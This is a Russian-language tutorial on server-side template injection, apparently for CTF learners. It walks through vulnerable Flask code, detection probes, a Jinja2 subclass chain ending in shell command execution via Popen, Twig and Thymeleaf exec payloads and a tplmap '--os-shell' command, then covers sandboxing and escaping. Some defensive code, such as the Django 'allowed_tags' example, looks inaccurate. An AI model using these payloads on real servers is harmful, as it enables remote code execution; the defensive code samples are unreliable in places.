🎯 SSTI (Server-Side Template Injection): Экспертный анализ

💡 Физическая аналогия: Представьте, что шаблонизатор — это принтер, а злоумышленник подменил чернила на невидимые чернила, содержащие вредоносные инструкции.

🔍 Механизм работы уязвимости

Типичный уязвимый код (Python/Flask/Jinja2):

from flask import render_template_string

@app.route('/greeting')
def greeting():
name = request.args.get('name', 'Guest')
template = f"<h1>Привет, {name}!</h1>" # Уязвимое место!
return render_template_string(template)

Проблема: Пользовательский ввод name напрямую встраивается в шаблон без санации.

📊 Матрица шаблонизаторов и их особенностей

Язык/Фреймворк Шаблонизатор Опасные методы Пример payload
Python Jinja2 __class__, __globals__ {{ config.items() }}
PHP Twig _self, registerUndefinedFilterCallback {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Java Thymeleaf T(), #exec ${T(java.lang.Runtime).getRuntime().exec('calc')}

🔬 Детальный процесс эксплуатации

Фаза 1: Обнаружение

Методика слепого тестирования:

# Проверка базовой инъекции
{{7*7}} → 49 (Jinja2/Twig)
${7*7} → 49 (Freemarker)
#{7*7} → 49 (Velocity)

Фаза 2: Идентификация движка

# Определение через обработку ошибок
{{invalid}} → Jinja2: "UndefinedError"
${invalid} → Freemarker: "Expression invalid"

Фаза 3: Построение цепочки эксплуатации

Пример для Jinja2:

# Получение базового класса
{{''.__class__}}

# Поиск подклассов
{{''.__class__.__mro__[1].__subclasses__()}}

# Поиск опасных классов (Popen, eval)
{{''.__class__.__mro__[1].__subclasses__()[413]}}

# Выполнение произвольных команд
{{''.__class__.__mro__[1].__subclasses__()[413]('ls', shell=True, stdout=-1).communicate()}}

🛡️ Глубокий анализ методов защиты

1. Sandbox-режим: Ограничения и обходы

Пример настройки Jinja2 с ограничениями:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.from_string(template).render()

Ограничения: Блокирует доступ к __builtins__, но возможны обходы через цепочки прототипов.

2. Контекстно-зависимая санация

Правильный подход:

# Использование экранирования по контексту
<p>{{ user_input | e }}</p> # HTML-экранирование
<script>var x = {{ data | tojson }};</script> # JSON-экранирование

3. Белый список разрешенных операций

# Пример для Django
from django.template import Engine
engine = Engine(
allowed_tags=['if', 'for'],
allowed_filters=['upper', 'lower']
)

🔧 Продвинутые инструменты тестирования

Инструмент Возможности Пример использования
tplmap Автоматическое определение движка, RCE, файловые операции tplmap -u "http://site.com?name=*" --os-shell
Burp Suite BApp Store Сканирование на SSTI, генерация полезных нагрузок Плагин "SSTI Detection"
Semgrep Статический анализ кода на опасные шаблоны semgrep --config p/python.flask.security

📚 Реальные кейсы и CTF-примеры

Кейс 1: Утечка секретов в Django Admin

Payload: {% debug %} → вывод переменных окружения, SECRET_KEY

Кейс 2: RCE через Email-шаблоны

Уязвимый код:

send_email(user.email, render_template(request.GET.get('template')))

Эксплуатация: ?template={{7*7}}

📝 Задания на закрепление

  • Задание на SSTI
  • Порешайте задачи из раздела Задания, в названии которых есть слово web, в этих задачах нередко встречаются SSTI уязвимости

📖 Рекомендуемые ресурсы